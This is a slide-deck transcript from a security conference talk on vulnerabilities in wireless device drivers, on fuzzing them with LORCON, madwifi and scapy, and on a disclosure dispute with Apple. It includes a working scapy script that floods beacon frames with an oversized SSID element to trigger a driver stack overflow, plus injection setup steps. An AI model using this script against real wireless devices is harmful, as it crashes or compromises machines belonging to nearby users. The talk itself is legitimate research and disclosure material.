device drivers 2.0 david maynor – founder & cto. errata security founded in 2006 by robert...
TRANSCRIPT
Device Drivers 2.0David Maynor – Founder & CTO
Errata Security• Founded in 2006 by Robert Graham and
David Maynor.• Outsourced research and development
– Hacker Eye View– Product Testing– Private Vulnerability Research
• Professional Services– Application and development review– Specialized penetration testing
Query…
Don’t you hate waiting through an entire movie to see the huge action scene at the end?
Me to!!!!
Apple Demo(lets just get that out of the way)
A crash is achieved on a 10.4.6 machine.
No crash on a 10.4.8 machine.The only changes to airport code between 10.4.6 is 10.4.8 is
the patches apple released in response to the 2006 Blackhat talk on device drivers.
A look at /Library/Logs/panic.log
What does this mean?
Did Apple misrepresent you to the press?
Did you point them to vulnerabilities affecting Apple hardware?
Where is Jimmy Hoffa?
The answer to these questions and more will be at the end of the talk.
Captive audience!!
Except the Hoffa one…
Introduction• What's been going on?
– I have been talking about the risks associated with device drivers for 2 years now.
– 0wn3d by everything else: USB/PCMCIA Issues
• CanSecWest 2005• The first 20 slides involved pointing out the
massively insecure programming practices in device drivers.
– These kinds of problems have been chased to extinction in application level code.
Why are drivers important?• Operating System vendors are making their
products more secure.• Attackers are just going to give up
– They can either move up and attack the application layer
• File Format bugs• Web Apps• Etc…
– Or they can head below the operating system level and target device drivers.
A bit of history…• Karl Janmar finds an integer overflow in
freebsd.– http://www.signedness.org/advisories/sps-0x1
.txt
• Jon Ellch and I start working on fuzzing various wireless drivers.– We had great success.– Most fell over if you said boo to loudly.
How did we find so many problems so quickly?• Fuzzing!!
– You may have heard of it mentioned with its more classy cousin: automated fault injection.
– In case you don’t know what fuzzing is…• You start with a deep understanding
– Protocol
– File format
– Just about anything you can thing of…
• You then write a tool to generate input for your fuzzing target.
– Slightly off
– Hideously malformed
Clearing up some confusion…• What chipsets did we find stuff in?
– Intel– Atheros– Broadcom
• Chipsets vs. cards• “Reference Drivers”
– The device manufacturer does not write their own driver from scratch.
– The chipset makers provide them with a sample driver they can then adopt to their needs.
• Vulnerabilities across manufactures..and even OSes– http://madwifi.org/wiki/Compatibility– So the same driver can be used for these cards. – If a vulnerability is discovered in the driver anyone using any
of these cards may be affected.– Its not always a guarantee, but it is cool when it happens.
Example…• Dlink WUA-2340 uses an atheros driver
If you don’t have the source…• How can you tell it’s the same driver?
– Having the same file name isn’t proof– Aren’t they different architectures…
• Reverse engineering• Code segments• Strings• Structure
• Broadcom– Apple
• /System/Library/Extensions/IO80211Family.kext/Contents/Plugins/AppleAirPortBrcm4311.kext
• AppleAirPortBrcm4311
– Win32• C:\WINDOWS\System32\Drivers• BCMWL5.sys
OSX code…
Win32 code…
• If the Apple broadcom driver is for PPC, when is the disassembly in x86?– Fat binaries
• Contains both PPC and Intel version of app• IDA 5.1 will give you a choice of which to reverse
• Steps– Source– Compiler– Assembler– Binary
An Odd thing about our finding…• Beacon or Probe Response fuzzing only
– We haven’t delved into the tricky parts of the protocols yet.
– The majority of the bugs were the old sprintf into a static buffer problems.
• A huge untapped area…– Different kinds of control packets– Encryption– Compression– Data…
What does it look like?
How to do it?• Requirements..
– Linux– Lorcon– Madwifi
• Patched with lorcon– A supported card
• I use a WPN511– An understanding of the protocols you want
to fuzz– The ability to write code
• I am using Fedora Core 6– Used yum to install
• Sharutils• Update all
– Built a kernel for wifi auditing• 2.6.18.1
– Patched madwifi with LORCON • Installs in /lib/modules/2.6.18.1/net
• Test it with a Shell script#!/bin/bash
ifconfig ath0 up
ifconfig ath0 192.168.1.1
iwconfig essid "wifiaudit"
iwconfig ath0 mode Master
iwpriv ath0 mode 2
iwconfig ath0 channel 1
• Building a quick and dirty fuzzer…– http://www.securityfocus.com/infocus/1877– Use scapy if you aren’t a coder
• http://www.secdev.org/projects/scapy/• fuzz() function
– Will automatically generate random data– Choose packet types
» Beacon» Probe/ProbeResponse» Dissassocate/DeAuthenticate
– Succesfully strageties » Information Elements are TLV - [type][length][value]
» Oversized IE» Alot of reversed IE
More advanced fuzzing• Intelligent response
– Create malicious probe response– Force change of network attributes– Peer-to-peer vs. infrastructure
• Impersonating– Spoof previous connected AP– Spoof probe responses from legitimate AP
• Mixed cases
Wireless fuzzing: not just 802.11• Bluetooth
– L2cap fuzzing– http://secunia.com/advisories/22402
• WiMax• 3g/EV-DO• Infrared
– serial
So how useful is this type of work?• Most of these were found by Jon, HD Moore, and LMH. Shellcode by
Matt Miller.• Apple vulnerabilities
– http://docs.info.apple.com/article.html?artnum=304420– http://docs.info.apple.com/article.html?artnum=304829– http://docs.info.apple.com/article.html?artnum=305031
• Broadcom– http://projects.info-pull.com/mokb/MOKB-11-11-2006.html
• Dlink– http://kernelfun.blogspot.com/2006/11/mokb-13-11-2006-d-link-dwl-
g132.html• Netgear
– http://kernelfun.blogspot.com/2006/11/mokb-16-11-2006-netgear-wg111v2.html
– http://kernelfun.blogspot.com/2006/11/mokb-18-11-2006-netgear-ma521-wireless.html
– http://kernelfun.blogspot.com/2006/11/mokb-22-11-2006-netgear-wg311v1.html
Actual example…and homework…• Real 0day…• Dlink WUA-2340
– Can still get at CompuUSA cheap– Win32– Metasploit…
Metasploit…• Metasploit has added…
– LORCON support– Fuzzers– Kernel payloads
• Most are located in the auxiliary/dos/wireless directory
• Easy way to fuzz and find vulnerabilities
Wireless support…
Going forward…• Metasploit runs on Nokia N800 tablet…
• Add bluetooth capabilities to Metasploit• Add packet injection capabilities to the N800• Launch attacks from tablet!
More reading…• Uninformed
– http://www.uninformed.org/?v=6&a=2&t=sumry
• SecurityFocus– http://www.securityfocus.com/infocus/1877
Oh wait…the Apple stuff• Yes, I did provide the information on
vulnerabilities in Apple products.• Yes, I provided them with code.• Yes, they were given packet captures from
problems.
I am not able to release and details of email or conversations between Apple and my
email address at my former employer.
So where is the confusion…• There were multiple vulnerabilities…
– What was shown in the video was not what people saw in person
– The Macbook and Powerbook were both affected
– 3rd party peripherals as well
• Finding the vulnerabilities was not hard…– Writing the kernel shellcode was– Upcoming paper…
• What happened…– Jon and I went out of our way to make sure the average
Mac user was not affected• We demoed a 3rd party card exploit when we could have
demoed a native one• We videoed the demo so that the code did not escape• If someone found the same vulnerability afterwards, it
didn’t matter because noone used a third party card anyway.
• Apple was notified the evening I arrived in Las Vegas– “Don’t freak out, although it is using a Mac we are not showing a
native exploit. There are native exploits but we are still determining how many other platforms they affect and we will make a full disclosure when this is done.”
– They said OK.– By Friday the tune had changed to “give it to us now.”
• “I’ll work with an engineer to duplicate the vulnerability when I leave Vegas, but if this is a cross platform problem and you don’t coordinate it you could be leaving millions of other users at risk.”
• They didn’t care. • Since we were finished with the broadcom work, I felt OK telling them
about that problem.– “Fine, if you look at the IE handling code in both the handling of SSIDs in
your broadcom code you will find an overly long SSID with cause a trivial stack overflow.”
– “Is it like the FreeBSD problem?”– “Yes, it’s a malformed IE.”
• I returned to Atlanta and began to test and see what other platforms may be affected by the Atheros driver.
• After a few phone calls…– Apple couldn’t figure out how to duplicate the
problem– They couldn’t get packet injection working– They need more help…
I helped them build a wifi auditing box…• So even if they found the bugs in an “internal
audit” I showed them how to build the box that they used…
At their request we offered more assistance…
• How to actually do injection and attack.• I sent them a script that produced an overly
long SSID to help reproduce the problem.
Its encrypted…
The pre-encrypted versionThis is a beacon test script i was using last night to determine if default OSX was vulnerable, its easy to modify for a probe response,
most cards however will ignore probe response from address they didn't send a probe out to, or the unsolicited probe.
#!/usr/bin/env python
import sysfrom scapy import *
target=“ff:ff:ff:ff:ff:ff"attacker="00:0f:b5:a8:fd:2c"
conf.iface="ath0raw"
p=Dot11(subtype=8, addr1=target, addr2=attacker, addr3=attacker)/Dot11Beacon()/Dot11Elt(ID=1, len=4, info="5555")/Dot11Elt(ID=0, len=255, info="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
while 1==1:sendp(p)
DEMO
Crash the broadcom Driver
(win32)
How is this significant?AirPort
CVE-ID: CVE-2006-3507
Available for: Mac OS X v10.3.9, Mac OS X Server v10.3.9, Mac OS X v10.4.7, Mac OS X Server v10.4.7
Impact: Attackers on the wireless network may cause arbitrary code execution
Description: Two separate stack buffer overflows exist in the AirPort wireless driver's handling of malformed frames. An attacker in local proximity may be able to trigger an overflow by injecting a maliciously-crafted frame into a wireless network. When the AirPort is on, this could lead to arbitrary code execution with system privileges. This issue affects Power Mac, PowerBook, iBook, iMac, Mac Pro, Xserve, and PowerPC-based Mac mini computers equipped with wireless. Intel-based Mac mini, MacBook, and MacBook Pro computers are not affected. There is no known exploit for this issue. This update addresses the issues by performing additional validation of wireless frames.
One of the two vulnerabilities is that if an SSID is over a certain length, you get a stack overflow.
Is there more?• I became weary of working with Apple after
the following..
But I still sent them packet caps regarding more wireless problems…
Note the date on the bluetooth response• The next day Macworld ran a story with an
Apple PR quote saying we had shared nothing and changed our story.
• Both are incorrect.• The relationship dissolved after that.
• Jon and I didn’t say anything initially because we knew they had to release pacthes.
• We changed our toorcon talk from Device Drivers to the Apple tell all.
• Apple was made aware of that.• They released patches right before the conference
in case we were able to talk.– They couldn’t let us demo code that proved they left
users at risk.– They applied pressure to my former employer to keep
me from speaking.
And that’s about it...What about the video analysis?
That was 5 minutes edited together from 4 hours of shooting. Doing a frame by frame analysis of that is the equivalent of watching NASCAR in slow motion to learn to driver.
People challenging you to prove to them?Why would we put users at risk just to win a bet?
What about Apple? Will you demand they credit you?It is ultimately Apples decision who to credit with a find. We feel we have presented enough information to show that we did point to specific problems in Apple’s products and that we attempted to work with them in good faith. The decision to discontinue working with Apple was made after incorrect statements were made to the press regarding information we have shared. I no longer feel comfortable engaging in any type of relationship with the company and I will not report and future findings to them.
More details and examples will be posted to the Errata Security blog.
http://erratasec.blogspot.com